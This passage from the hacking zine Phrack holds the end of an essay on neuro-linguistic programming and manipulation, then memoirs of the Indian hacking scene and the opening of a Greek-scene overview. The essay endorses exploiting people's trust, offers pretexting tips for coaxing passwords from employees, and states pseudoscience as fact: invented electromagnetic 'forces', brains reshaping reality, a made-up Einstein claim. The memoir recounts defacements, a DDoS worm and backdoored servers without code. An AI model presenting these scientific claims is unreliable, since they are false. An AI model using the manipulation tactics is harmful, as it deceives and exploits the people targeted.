When dealing with an event, your mind starts an analysis of the event, and searches the "archive" for an identical event. If none is found, your mind searches the "archive" for a similar event and tries to determine if past decisions and conditions would be fit in the current conditions. The new and similar events are the ones generating experience, by forcing your spiritual mind to make decisions to adapt as good as possible to the given environment. But everyone's decision depends a lot on previous experience. The added experience improves your rational thinking and gives you a higher perspective over events, under a new superior logic. Each category of events has assigned a process that deals with it. For instance, if your car breaks down, you would see the problem more accurately if you are a car mechanic than if you are a doctor. The car mechanic posses more technical informations about cars (therefore, superior logic of things) than a doctor or a florist, for instance. By the other hand, if your body breaks down, being a doctor will help you determine what went wrong and what needs to be done to eliminate this situation rather than being a car mechanic.

The process of learning is a never ending process in your mind; it takes at least as long as you're exposed to new events. But it takes in three stages: the conscious and willing part, the reinforcement part and the "background" part.

The conscious and willing process is the one interacting the most with the decisional process. It's when you see some behavior or moral virtue or something to that extent that you like and you'd actually want to grow that in you ‑‑ for instance you want to be a greater whitehat than spender, because you see the whitehats as being the good guys and you've been taught that good guys are good. To do that, you see what got spender where he is and start to "walk" a similar path.

This is where the reinforcement stage gets into place ‑‑ you already decided that you want it, and you force yourself to take the steps needed. You get aquinted to the Linux Kernel, find bugs, expose them on full‑disclosure, look for fights with kernel dev, etc. The conscious interaction will help you get status of yourself: "am i spender enough to do this?" or "what would spender do"; in the same time it will correct behavioral flaws that might prevent you from succeeding. After a while, the conscious interaction tends to diminish, becoming less and less necessary. This is where stage three comes into place.

The "background" stage is where the actual process needs no longer interaction with the conscious mind, being perfectly adapted to serve similar events. To continue our metaphore, at this point you get fat dollars from sponsorships, you're being a dick to your friends, and publish vulnerabilities you found in Linux Kernel. And all this is normal, and you don't understand why people throwing fingers at you. You're doing the "right" thing..

When dealing with a new event, your mind will try to categorize that event and try to place it under one of the known events categories. Each category of events has assigned a process; a neural process is very similar to an AI neural network path. The processes for known events give you the daily routine, when you don't even think about doing something, you just do it, automatically. Therefore, PROCESSES IN "BACKGROUND STAGE" (SERVING KNOWN PATTERNS) DO NOT REQUIRE RATIONAL (CONSCIOUS) MIND SCRUTINY!!! This makes them as a primary target for those trying to manipulate you.

‑‑[ 3 ‑ Neuro‑linguistic programming (NLP)

According to Wikipedia, Neuro‑Linguistic Programming (NLP) is a controversial approach to psychotherapy and organizational change based on "a model of interpersonal communication chiefly concerned with the relationship between successful patterns of behaviour and the subjective experiences (esp. patterns of thought) underlying them" and "a system of alternative therapy based on this which seeks to educate people in self‑awareness and effective communication, and to change their patterns of mental and emotional behaviour". NLP denotes belief in a connection between neurological processes ('neuro'), language ('linguistic') and behavioral patterns that have been learned through experience ('programming'). The "subjective experiences" are what we called neural processes dealing with events.

‑‑[ 4 ‑ Why does NLP function?

In other words, NLP says that we programmed ourselves to react in a certain way when exposed to certain events. To a hacker, this looks as good as a remote kernel vulnerability with great chances of exploitation. This means that we can trigger a certain reaction or response from someone if we know the conditions (event) that would normally lead that person to that reaction. Hey, wait.. Is this really about controlling your peers??? Yes, someone can use NLP to take advantage of "free mind", by simply tricking the mind into seeing false conditions that would lead it to take a decision according to those false conditions.

A common feature of all contemporary societies is the "guilt syndrome". This arose from the "original sin" trick: you're a mere mortal, who deserves to be hurt because a very long time ago, some retard ate an apple. This "guilt syndrome" is a very dangerous trap because it makes human beings prone to NLP, as they want to "pay the dues" for their "sins". But .. wait .. what if there is no sin? You mean.. I could make someone feel guilty of something he never did just to make that person please me whenever I want? Yep.. that's exactly WHY neuro‑linguistic programming works in every case: human beings don't want to look bad in the eyes of their peers, and most important to those who are our models and/or mean something important to us.

"Mommy is feeling very sick today, but I'm sure that if you will bring good grades from school I will be feeling better, son" ‑‑ this is one classical example of how NLP functions. The "Mom" in our case study is faking an illness to make her son study harder at school and bring a good grade. In the "son's" mind, he will start feeling guilty for his mother's illness, therefore he will force himself to get a good grade, one way or another. In this example, NLP is not doing bad to "son" as improving his grades is a good thing. But in the same time, he didn't do what he wanted, instead he did what someone else tricked him into doing.

Another example, one begger walks to your car window. She's an old woman, with kind, warm eyes. She comes shyly and whispering, asks you to give her money for medicines and food. You will give her money because she looks a lot like your grandmother who you loved a lot. And you want to help a less fortunate human‑being. But, that begger, after "work hours" is maybe richer than you because it took advantage of the "grandmother figure" look. Most of the people have a grandmother who raised them, took care of them when their parents weren't around, and quite possibly have passed away. To honor her memory, you relate to the "less fortunate grand mother" begging at your car window, and you want to be of any help. Your good intentions land you right in the "granny's" trap, just like a carnivorous plant eats an insect.

These were only three examples how NLP works in day‑to‑day life, but to someone aquinted to these techniques, the examples are endless. Someone aware of NLP and how things work is controlling everybody around them to obtain a certain result. Is it wrong to take advantage of someone else's ignorance? Is it wrong to exploit a vulnerability to a system if no one is able to catch you? Perhaps, but I don't give a fuck.

‑‑[ 5 ‑ What is reality ‑ "What is above is what is beneath"

Words of Hermes seem cryptic to most of you looking at the sky and seeing no similarity to earth. What Hermes actually meant was that our Universe is a fractal; if you zoom on a fractal, you will notice that the image you get is very similar to the initial image. This means that the same Laws that built the fractal on the detail scale, also built the fractal on the large scale.

Let's take a trip to the atom world. The diversity of chemical elements present in our Universe is merely given by the number of electrons orbitting each element's atom (and ofcourse, protons and neutrons and other sub‑atomic particles but that's beyond the scope of this article). So.. what makes an element have more electrons than another? The answer is simple, it's the electromagnetical forces. Quantum mechanics identified 4 types of electromagnetical forces: 2 strong and 2 weaker, resulting from a combination of first two. But all these forces together create a quadripolar magnet. This quadripolar magnet is the "blueprint" our world is made on. Each element in the Mendeleev table has a unique combination of these 4 forces, this giving it's unicity.

So, you mean that our Universe is nothing but electromagnetical forces combined at different layers, in different combinations and amounts? Yes, exactly. Without electro‑magnetism our Universe would be an uniform mass of initial matter particles. This is what Einstein theorized when he said about the 4th form of aggregation of matter, at absolute zero (e.g. the absolute absence of electro‑magnetism, because heat is nothing but the result of the interaction between electricity and magnetism).

This also means that, if you can determine the exact amount and combination of electro‑magnetical forces present in a certain element's atomic structure, and replicate that exact combination and amount to another element's atomic structure you would be able to transform the second element into the first one, down to the grittiest detail.

Remember the alchemists trying to make gold from dust? ;)

‑‑[ 6 ‑ Human thoughts affecting reality

"False words are not only evil in themselves, but they infect the soul with evil."

‑‑ Socrates

There is a huge number of cases when Initiates affected the world around them and people were too amazed to understand the miracle. Look at the fakhir's in India, or the buddhist monks of Tibet. There are documented cases when yoga masters managed to purify water by the power of meditation. So, how is this happening? Continue reading..

Quantum mechanics brought to light a very interresting fact. The quantum mechanics experiments are not consistent in time and over researchers. It would appear that the observer's mind highly affects the result of the experiment. It got to a point where, if the scientist thinks his experiment will end up one way, then most definetely, the experiment will. But as soon as another scientist comes into place, with a different mind set and with less faith in the success of the experiment, the experiment will give another result. Therefore, scientists concluded that quantum mechanics experiments are rarely conclusive.

Early twentieth‑century experiments on the physics of very small‑scale phenomena led to the discovery of phenomena that could not be predicted on the basis of classical physics, and to new models (theories) that described and predicted very accurately those micro‑scale phenomena so recently discovered. These models of the real world being observed at this micro scale, could not easily be reconciled with the way objects are observed to behave on the macro scale of everyday life. The predictions they offered often appeared counter‑intuitive to observers. Indeed, they touched off much consternation‑‑even in the minds of their discoverers. The Copenhagen interpretation consists of attempts to explain the experiments and their mathematical formulations.

We like to think of our brain as a massive data storage for all the experiences we had since our childhood, but is it?! There is no actual evidence that data is stored in our brain, the only hard evidence existing now is that our brains emit "waves".Our brain is nothing but a big antenna, receiving/emitting electro‑magnetical energy, as waves. There are more types of brain waves, some are easy to measure with instruments, most of them aren't. Our brains are nothing but wide open wireless access points, emitting signal everywhere around us and receiving signals from our environment. Err.. wait.. electro‑magnetical brain waves??? WTF man.. But you said our Universe is based on electro‑magnetism.. If humans can emit electro‑magnetical energy this means that.. they can actually affect reality? Yes, they do. But not all antennas have same signal strength: some have stronger signal, some lesser. But all of them modify reality according to what they think of reality; some modify reality in a substantial way, that is actually noticeable and some others, in a less perceptible way. But EVERY SPIRITUAL MIND (let it be human, animal, floral or mineral) AFFECTS REALITY ACCORDING TO WHAT THEY KNOW ABOUT REALITY AND WHAT THEY THINK REALITY SHOULD BE LIKE. If you create an image in your mind, and believe in it strongly and with passion, you will actually make it happen. No, it's not esoteric stuff, it's very day‑to‑day stuff ‑‑ you don't say any magic spell, you just figure out a way to make that image come true. If you REALLY want something and WORK hard so that you DESERVE that certain something, there are GREAT chances that the Universe will grant you that something.

Well, things aren't that easy, really, but simplified, that's how it is. Perhaps, at some other time, maybe next Hacking Your Brain, I will explain you how to make your wishes come true, and how those wishes should look like so that they have greater chances of happening.

YOU ARE THE CENTER OF YOUR OWN UNIVERSE. YOU ARE THE MASTERS OF YOUR OWN UNIVERSE. BE TO YOUR OWN UNIVERSE WHAT GOD IS TO THE WHOLE UNIVERSE AND TRY TO BE AS MUCH AS GOD AS YOU CAN. Oh, and one more thing, if you think God is an old man with beard, then you're a moron. I don't care how you call it, the God I speak of is beyond any religion, being the MIND THAT CREATED THE PERFECTIONIST SYSTEM WE CALL LIFE.

7.How to create a hostile reality?

Well, who would create something that would hurt himself, you might say. But, crazily enough, people actually do it without even being aware of it. I will give you an extreme example, bare with it, but it should give you an insight on how humans can be tricked into doing bad to themselves.

Let's take a hypothetical case. Let's a consider a very esteemed group of scientists whose research concluded that a small spoon of crushed glass poured in your food will keep illness away. Ofcourse, now you will say "hey everybody knows crushed glass will hurt you" but let's assume you don't know that and, there will be a LOT of people TRUSTING the scientist group enough to actually pour crushed glass pieces into food. This will give you a VERY BAD STOMACHAL problem but you would not dare to think that the scientists you trust so much could be wrong. So you will think your stomachal pains are of a different nature, or worse, you will think that the pain comes from the crushed glass fighting the illness. So you will take MORE crushed glass to make sure the illness is defeated for good.

Have you guys seen "Idiocracy"? It's a great movie ‑‑ and I took this example from the movie. Our hero, Joe, is a semi‑retarded military who, by chance, makes a trip 500 years into the future when he discovers that the crops are watered with a Gatorade‑like sports drink named "Brawndo", he finds himself knowledgeable enough to correct the problem. The narrator comments that "Brawndo has replaced water virtually every where" and that Brawndo purchased the FDA and FCC. In response to the plan to correct the problem, White House cabinet members continuously repeated the Brawndo tag line, "Brawndo's got what plants crave. It's got electrolytes." Yet, no one had a clue what electrolytes are. They just knew what they've been told. This is a very good illustrated example of how people are most of the times too trusting and ignorant for their own good. Ofcourse Brawndo was bad for the crops, because the plants need water, not artificial flavor ‑‑ but that artificial flavor beverage was keeping half the country employed.

By following what trusted sources tell us is good without questioning and thinking for ourselves, we become slaves of our own ignorance. Ever since we are little, we rely on others to tell us what's good or bad for us. First, there were the parents & family; later, our trusted sources circle gets larger, including our friends and colleagues. When we grow up, we also consider mass‑media, internet and press as trusted sources, because we are told they are reliable sources that will never deceive us. BUT ALL THIS MENTALITY IS BASED ON THE GOOD WILL AND INTENTIONS OF THE TRUSTED SOURCE; WHAT IF THE TRUSTED SOURCE SLIGHTLY MODIFIES THE INFORMATION SENT TO US (just like in NLP case studies), JUST TO TRIGGER A CERTAIN BEHAVIORAL PATTERN FROM US?

The best example that comes to my mind is that of a imaginary hacker character, let's call it The_C0nd0r, who breaks into one of the largest telco in the country, without exploiting a single vulnerability in the computer systems. You guessed it, it's the case of the Master of Social Engineering. To be honest, I learnt about NLP when i was studying social engineering. The trick with social engineering is to make your peer STRONGLY BELIEVE into a fake reality you are feeding him. You just need to make that "reality" as accurate as possible so he doesn't realise it's a trick. And this is exactly when NLP steps into place. First of all, you need to adopt a similar posture to your target (not physical necessarily). For instance, if you're targetting an employee, act as an employee who is in big trouble, make him to be a part of your "drama". When people are confronted to dramatic situations happening to others they usually think "oh, fuck this could happen to me aswell" and they will give you that password.

I will give you an example again. Let's say, your best friend got into a fight with another friend of yours. You trust your best friend when he tells you that the other friend said bad words about you, and he stood up to take your side. But, what if the things were opposite? What if your best friend was the one saying bad things about you and the other friend said he should stop talking of you when you are not around? Your "natural" urge is to ally with your best friend and "wage war" against the other friend, because you trust a message from a trusted source that someone is doing wrong to you.

Another example, on a larger scale now. There is a HUGE press campaign against alimentary product X, saying that it highly affects health, etc. People trust mass‑media and, as a result of the campaign, they stop using X. The company producing X is experiencing big difficulties because their market share diminished a lot. You'll say "Good! They were selling stuff affecting people's health, they outta be put of business!" and I couldn't agree more. But.. there is always a "but". What if there was a competitor for product X called product Y. And the PR department of product Y contacted big publications and tv networks owners and paid them a shit load of money for this campaign. What if product X wouldn't actually be that harmful, in fact, being less harmful than product Y? The market share of the company producing X will diminish in the advantage of the company producing Y. Even if company X publish a study stating that their products are not as harmful as claimed, and even less harmful than product Y, no one will trust the statement. If trust is broken once, it will never reappear or if it does, it does with great sacrifice.

And another fictionary example now. Let's assume hackers would exist and they can hack (unlike kingcope;). Let's continue to assume stuff. We also assume that this hacker (fictionary character, remember?) is not a good guy working for the Man. Instead he's a rebelious youngster (mid 20's) with the unique ability to break into any computer system he puts his mind to. This hacker is aproached by the owner of company A who is crushed under the competition of company B, whose product is far superior and the distribution network is by far, the largest. Let's assume the owner of A asks the hacker if it would be possible to do something to company B. The hacker would go unnoticed and mess with the client database, mix the deliveries, steal secret info about the product, etc. In short, anything that would give company A a competitive advantage. Ofcourse, to the masses this would appear as company B is either A) in big trouble, B) doing something nasty behind closed doors or C) can't secure their shit right, and by extension can't secure customer's trust either. Gosh, we're so lucky hackers only secure our networks and iPod's instead of doing things so scary.

A real life example, this time, comes from the Middle East. During the recent war between Israel and Lebanon, the Hamass posted on the Internet images of crippled or killed children, dismembered, etc. This ofcourse, had a huge impact on the international community and a lot of countries and important people took position and asked Israel to stop the war. But after all, it was just a good press campaign organised by the Hamass, manipulating the media and the society.

The point is that by EXPLOITING HUMAN BEING IGNORANCE AND CONFORT IN TRUSTING WHAT THEY CONSIDER AS BEING "TRUSTED SOURCES", OR BY FAKING A SOURCE MAKING IT LOOK TRUSTWORTHY, YOU CAN TRICK PEOPLE INTO ACTING AGAINST THEMSELVES, AND SURPRISINGLY, BE HAPPY ABOUT IT.

‑‑ [ 8 ‑ The chains remain

Slavery is long gone, most people think. Just because the chains don't ring anymore as we walk, it doesn't mean they disappeared. It's just that today chains have been more subtle and harder to perceive. The society, through its members, or mass‑media, or tv networks, books, religion, banking system and it's loans, and so on, EVERYTHING is keeping us bonded to these chains we hate so much. By telling us how we should behave in certain conditions because that's "normal", by feeding us distorted information aimed to harden the concept of "normal" and "what we should do", by creating fake needs, desires and dreams we become addicted to the society and less aware of our real selves.

The society is feeding you models, driving expensive cars, living in big houses, living the good life, you know. Automatically, in your mind you start to want the same (because society taught us that second place is for the losers), so you get deeper into it. You contract a loan from the bank just to get a bigger house, or a faster car. You start to work extra‑hours just to impress your boss enough to promote you: a promotion would allow you to buy more things. You start stealing stuff because you don't see another mean of getting the money you WANT. Unknowingly, you become bonded to the system, without the possibility of escaping from it. You become a slave of your work/bank just to satisfy your NEEDS. But these are not real needs, instead it's what your TRUSTED SOURCES told you you need.

If you want to break loose of the chains holding you down, you need to ACCEPT. You need to accept what is happening to you, either it being "good" or "bad". The Universe and Its Laws don't think in terms of duality, but Unicity. You need to understand that EVERYTHING HAPPENING TO YOU IS THE RESULT OF YOUR PREVIOUS ACTIONS AND THAT YOU ONLY GOT HERE WHERE YOU ARE AS A RESULT OF YOUR CHOICES. You need to understand that TO OBTAIN SOMETHING FIRST YOU MUST DESERVE that thing and that there are no shortcuts in life.

"Any competition is the entertainment of the rulers at the expense of the slaves"

‑‑[ 9 ‑Greetz

t3kn10n of Ac1dB1tch3z, zf0 ppl, spender for being the greatest and whitest whitehat of all times, kevin mitnick for being owned so many times using the social engineering skills himself pioneered, king cope for not being able to find a bug on himself but instead using "hack your mind" tricks to use other people's bugs/codes in his exploit codes, Jesus Christ, Hermes, Socrate and finally, my mentor, Pythagoras

International scenes

==Phrack Inc.==

Volume 0x0e, Issue 0x43, Phile #0x10 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ International scenes ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ By Various ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ <various@nsa.gov> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Look at the last Phrack issues.

Look at 2010 security CONs.

Look at any kind of public activities involving hackers.

West Europe, North America, Asia are shining. No need to run an agency to see that and sharing informations with the according scenes is child's play. But what about sharing with other countries?

For the 25th birthday of Phrack, we're very proud to present you two oustanding scene philes. One will describe you the hacking scene of the amazing India which can't be ignored anymore on the IT playground. The other one will describe the Greek scene. Yes you've heard of them through blog posts, CONs and even Phrack. You simply didn't pay attention ;)

Enjoy the reading of this phile.

The Phrack Staff

‑‑

The Indian Hacking scene Unofficial memoirs of the Desi h4x0rs By anonymous null community member

1. Preamble

2. Introduction

3. Hacker Groups

4. Hacker Cons

5. Memoirs of the underground

6. Future

‑‑[ 1 ‑ Preamble

Jai Jawan Jai Kissan

(no it has nothing to do with the song Jai Ho :‑P, just felt like writing something in Hindi). This article is a composition of interviews with/text directly taken from the hackers in the Indian underground (and the above‑ground :‑P). If it offends the reader in anyway.........feel free to complain to your mom about it:‑P.

‑‑[ 2 ‑ Introduction

Before I start I must admit that we have been really really late in the hacking scene as a whole. Some say it has to do with the cultural ethos and the prevalent business culture in India, while some propose that Indians culturally have been known as non aggressive & peace loving (Doh! Yeah right..Like the F#@$ing stereotypical dumb Indian characters in hollywood movies) and focus has been on ethical hacking and creation of software to benefit world at large rather than cause destruction. The activities of hacker groups started to emerge with the beginning of year 2K.

‑‑[ 3 ‑ Hacker Groups

There have been many hacker groups in India since 2k. Some are noted for their notorious behavior.

1. Indian Snakes. Indian snakes was a closed underground community of hackers who were on the top of the scene in the early 2000s. They are also noted for the YAHA worm that they had written.

2. hacking‑truths.net (2005‑2008) stopped because of personal problems. Restarted in 2010. Activities malware dev/hacking.

3. h4cky0u. It started around 2003 Website: h4cky0u.org. The activities included defacing, exploit dev, botnets etc. It died in 2006 due to some personal differences between the staff. It was reopened as h4ck‑y0u, sadly h4ck‑y0u also stopped after one year of its existence due to cyber crime activities, financial issues. H4cky0u was started again by an American who went by the handle "Big Boss" and we haven't heard much about it after that.

4. n|u (null security community). It started in 2008 and has spread to 6 cities in India namely Bangalore, Pune, Delhi, Mumbai, Hyderabad and Bhopal. Their activities include vulnerability research, exploit dev, projects, disclosures, nullcon hacker conference. It is more of an OWASP style community sans the limitation of only web app security research. It is also registered with the Govt. Of India as a non‑profit organization.

5. Andhra hackers. Started in late 2000s. It is a forum like portal. Activities include sharing security information.

6. ICW (Indian Cyber warriors) is an off‑shoot of Andhrahackers and started around 2008. This is a hactivist group with activities including defacing Pakistani websites.

7. Securitytube.net. It is not a group per se. It is a portal that has lots of security videos, question/answer section much like stackoverflow. It was started somewhere around 2008 or 2009. 8. Indishell. It started in 2009. The main guys behind indishell are Lucky, mr. 52, jackh4xor, silentp0sion. It is again a hacktivist group and majorly into defacing pakistani websites. It was recently stopped due to some unknown issues and has re‑emerged at the time of writing this article. Activities include defacing websites.

9. ICA (Indian Cyber army) is an off‑shoot of Indishell with mostly the same staff as Indishell. It is also a defacer group. Noted for defacing sites including Pakistani ISP national telecommunication corporation pakistan (Defaced page http://www.ntc.net.pk/news.html)

10. Fake ICA. There is yet another ICA (cyberarmy.in) which is announced as fake ICA by the actual ICA group. One glance at the website content tells you that there is some truth to what the actual ICA(indishell) guys and other say and reminds you of the infamous plagiarism cases (Ah! Any Indian h4x0r's favourite topic when they feel like bitching about something :‑P)

‑‑[ 4 ‑ Hacker Cons

1. ClubHack. http://clubhack.com The first in the series of hacker cons.

It is held in Pune, one of the software hubs in India. It started in 2007 and is running it's 4th edition this dec (2010).

2. nullcon. http://nullcon.net The first community driven hacking

conference, organized and managed by null community members. It started this year and the next edition is in Feb 2011. It is held in Goa. The party hub of India.

3. Cocon. http://www.informationsecurityday.com/c0c0n/ 1st edition held in

Aug 2010. earlier held as part of information security day. It is held in Cochin.

4. Owasp + Securitybyte Appsec Asia http://securitybyte.org. More of a

corporate conference with the suited people around :‑).

‑‑[ 5 ‑ Memoirs of the underground ‑ By dot

=[ Past.. that's where all the nostalgia and fun lies :)

So it all started sometime during late 2001 when a new variant of Yet Another "Hello World" Application spread rapidly via mostly social engineering mails and Outlook Express invalid MIME type exploit (similar to Klez.?). AV technology was not really matured back then, Kaspersky was not there with its PDM modules or its emulation heuristics, Symantec did not conceived SONAR or its Reputation Technology, it was practically open season for anybody with some programming skills to write and spread a successful worm. But amazingly a very nice and simple HTTP ping module was built into the program which used infected systems to ping (simple GET /) certain government website across the border towards the friendly neighbourhood creating a DDoS condition. News !!! News !! News !!! Cyber War between two countries.. Beware! iNDian sNakes are here !!! Hackers hacking each other's websites. Unicode double escape? Front Page is cool, lg7 (but where is the pass? :P)? dtspcd? little they knew, early stage script kids playing with public tools and little common sense without basic computer science background.

I don't speak for the unknown elites before me who might be able to represent the scene in a much better way than me leaving me to a 1337‑wannabe state.. I don't even speak for the Indian Snakes guy(s) who taught me quite a lot during my early days but I think we started quite late. Aleph1 had already written about how to smash the stack, Solar Designer had already found and exploited a heap overflow bug, Format String exploitation technique was also known among multiple circles, the world was filled with 7350*.c.. But fortunately Security Industry was not there yet or at least not so prevalent in this part of the world. We are lucky to be driven by the curiosity hormones to explore the black arts of hacking which ofcourse later turned out to be obvious computer science with a bit of innovation and passion to solve difficult problems. I remember playing with some MSN Trojan to steal passwords, I remember installing Barok in various Cyber Cafes, I remember installing Red Hat 6.2 and feeling elite after I could connect to my dial‑up internet and browse the web, infact I remember doing almost everything for being a perfect script kid. I also remember finding myself neglecting everything in life and reading Phrack during all those sleepless nights.. Smashing the stack, Voodoo Malloc Tricks, Once upon a Free.. Then after sometime actually solving PTP/0xbadc0ded exploitation challenges and hanging around with those awesome and nice people in their IRC.. but that was kind of late, a bit surpassed the prime time for ideal initiation.

So getting back to the history part, here is how it goes: If you write a worm and leave an e‑mail address in messages it drops, you are bound to get a lot of fan/hate mails. It is actually a good methodology to build a community of rebels (??) or oh well people who liked Fight Club :) I think the creators of Yaha did not initially expected to build a community, their entire purpose was to retaliate to web defacer groups like G‑Force, AIC etc. but they actually ended up building a small and highly closed/private community and am happy to have known few of them. Although we had some Israeli friends (hi root, hi dak :)) the privateness of the group actually created a problem, we were starved ! Defacing seemed boring, writing exploits for public vulnerabilities were fun but quite challenging at that time, their weapons were old and obsolete. So we decided to look around and the obvious result was #darknet :)) Haha.. dvdman, nolife and the massive list of ops there. Immediate learning from #darknet was to idle in #phrack as well for possible 0day drops :P.. Next learning was to read ~el8 and be an anti‑establishment, anti‑security‑industry h4x0r !! Armed with newly made l33t friends and their dropped exploits (yo! we had 0days..) it was time to restart the so called cyber war in retaliation to multiple groups spreading anti‑India propaganda via defaced websites.. thus born "Indian Hackers Club" :) Along with a new group name, an IRC server was created on a box with 128kbps or so ADSL line at a friend's (hi rex) work place (truly BoFH) which later got shifted to a .il server. We began meeting like minded individuals and groups... came across with Cyber Yoddha, Hindustan Hackers Organization (IIT had massive resources for hacking huh? :P), Emperor (baap of all h4x0rs? :)), Nirvana (our own govboi :D) and slowly our IRC idlers list grew. Just like any other similar IRC, we began exercising power, control and ego... Ops were considered to be l33t, +v dudes were considered decent and the rest were considered to be wannabe creatures for the operator's show off needs.

Then came the day of IIS WebDAV vulnerability: Kralor probably wrote the first public exploit which we took, modified it to support different shellcodes, tested it extensively and developed an internal kiddie friendly version and so began a moderate scale defacing of friendly neighbourhood websites and confrontation with FBH (Federal Bureau of Hackers later turned Federal Black Hats (too much PHC influence?)). Netcraft was used to find suitable targets then instant connect back shells and tftp in the backdoor and defacement page :) Later I learned FBH guys also used the similar vulnerability to deface Indian websites during that time however they either wrote or managed to obtain a mass rooter version of it. Unfortunately (perceptions change with age though) we didn't really have a lot of CVV2s back then else we could have also used techniques like: buy a shared web space on target box and use kernel exploits (ptrace_kmod fun!) to root and deface for l33t show off. But yes, we would like to laughingly say we pwned r4t's brand new shell server before the h0no guys using trojaned exploits.. err oh well, we pwned a lot of funny people with trojaned/fake exploits. I remember once dec0der @ #ukr (or something i forgot) told me that I change boxes like he change underwares considering I was logging in from brand new boxes every other day.

Later on many of us made friends with people at #darknet, #m00, #c/c++ and even some old timers from #phrack. One of the funny moments happened when I was working for an .eu company along with another guy hired by them and after working for a few days I found that guy is dvorak.. and we had a nice laugh.

So all in all, during my time, the underground here in India was very small and pretty much a closed group. Although we saw a couple of guys popping up with security forums or websites once in a while we never really interacted too much. We made a lot of friends world wide but the state of underground here during those days was no way significant compared to .eu or .us.

=[ The evolution.. Towards sanity

The Last Stage of Delirium (LSD‑PL) changed many of us! The 5th Argus Hacking challenge, the Solaris LDT bug (reminds me of http://git.kernel.org

/?p=linux/kernel/git/torvalds/linux‑2.6.git;a=commitdiff;h=dc63b52673d71f9d 49b9d72d263a9f32df18c3ee) exploitation writeup, Win32/Unix Assembly Component Development, JVM Vulnerabilities etc were awesome and inspiring (yea I remember GOBBLES too :)) We decided its time to grow up and learn something real. Enough of (0xc0000000 ‑ blah blah) type local stack overflows, enough of exploitation challenges (PTP was good.. ok!) and thus we created a so called Research Team with a website and a bunch of exploits written for public vulnerabilities. Proving lighthttpd header folding bug to be exploitable was an interesting achievement (Securityfocus initially ranked it as DoS only). Learning about exploitation techniques for NULL pointer dereference kernel bugs from an .eu friend and realizing the obvious sometime before the first public exploit posted on DailyDave list was also something to remember. Goin a bit back in the history, one of us worked on a hobby OS project (based on Bach's Design of Unix OS) which actually made rest of us (at least me) learn a lot and spend a lot of time on websites like osdever.net etc to learn something real, learning to debug an OS kernel was something which helped me solve a lot of problems in later days. Finally reached a state where the Intel Manuals seemed to be useful.

Starting from 2005 onwards or so, Security Companies started getting prevalent here, through various contacts an IPS startup contacted many of us for job offers. It was my early college days back then so I could not consider but others went ahead and that was probably the first time many of us learned to go ahead with bigger and better things in life like having a full time security job or in other words hack even when it doesn't makes you happy, although yes much later we learned hacking at workplace on a daily basis is an opportunity which is not easily achievable not just in India but throughout the world... oh I must also mention, by now we learned to use the word "hack" in a bit more "generic" and "abstract" sense :D

=[ Present.. The era of selling out..

Just like anywhere else, Security Industry is pretty much here now. A lot of security startups and moderately matured companies has been developed here working on consultant driven pentesting to security products development etc. Most of the old guys are either working either for some Security company or working as programmers in some software development company. As far as I know, there is no significant underground here although there are people who are pretty much involved in interesting stuff but at a different scale in multinational groups. Web Application Security is so hot these days that I see most of the younger people are focusing totally on Web Application security vulnerabilities without looking into lower level software security.

‑‑[ 6 ‑ Future

The recent shift in the mind set of some of the Govt. intel agencies towards opening up to the hacker community has brought about a lot of changes in the hacker scene in India. This collaboration is only going to increase the moral of the hacker community and thereby also helping the govt. in it's own way. As I mentioned we started a little late which is applicable for the Govt. as well, but as they say ‑ better late than never. Things have started to pick up and we will see more of intel‑hacker collaboration in the future which may prove to be good/bad for some, but yes the intent is to establised cyber warfare strategies and action plans, which we will start to see in the next 5 years.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An overview of the Greek computer underground, part 1 by two (not really) anonymous G(r)eeks ‑ anonymous_gr@phrack.org

‑‑[ Table of contents

1 ‑ Introduction

2 ‑ Present

2.1 ‑ GRHACK

2.2 ‑ Meetings

2.2.1 ‑ 0x375

2.2.2 ‑ AthCon

2.2.3 ‑ 2600

2.3 ‑ Online forums

2.4 ‑ Controversial groups

2.5 ‑ Demo scene

2.6 ‑ Pentesting community

2.7 ‑ Open source related events

2.8 ‑ Academia

3 ‑ Conclusion, what does the future hold

4 ‑ References

‑‑[ 1 ‑ Introduction

In this brief article we will attempt to give an overview of the current state of the Greek computer underground scene. However, since the strictly underground scene in Greece is very small, we will also include some information about other active IT security related groups and forums. There is a going to be a second part to this article at a future issue in which we will present in detail the past of the underground Greek scene in all its gory glory.

Before we continue let's get something out of the way. We know that a lot of people act offended when they hear the words "Greek" and "scene" in the same sentence. They flat out reject that anything is currently happening in the Greek underground and mumble about how much better things were during the past years. We are sure that the exact same behavior exists in the scene of other countries as well. We do not agree with this behavior. Yes, the present Greek "scene" is small, obscure, full of ignorant and incompetent people. But that was also the case in the past. But there were and there are exceptions. If you are part of the scene (Greek or international) you probably know the exceptions. We need to focus more on what is good and try to bring that forward. Yes, that means you too.

‑‑[ 2 ‑ Present

In this section we will introduce you to the present and recent past of the Greek hacking scene, roughly from 2005 to 2010. We will avoid mentioning nicknames and handles of specific people since we feel that this has led to fragmentation of the scene in the past. Instead we will only mention group names.

‑‑‑‑[ 2.1 ‑ GRHACK

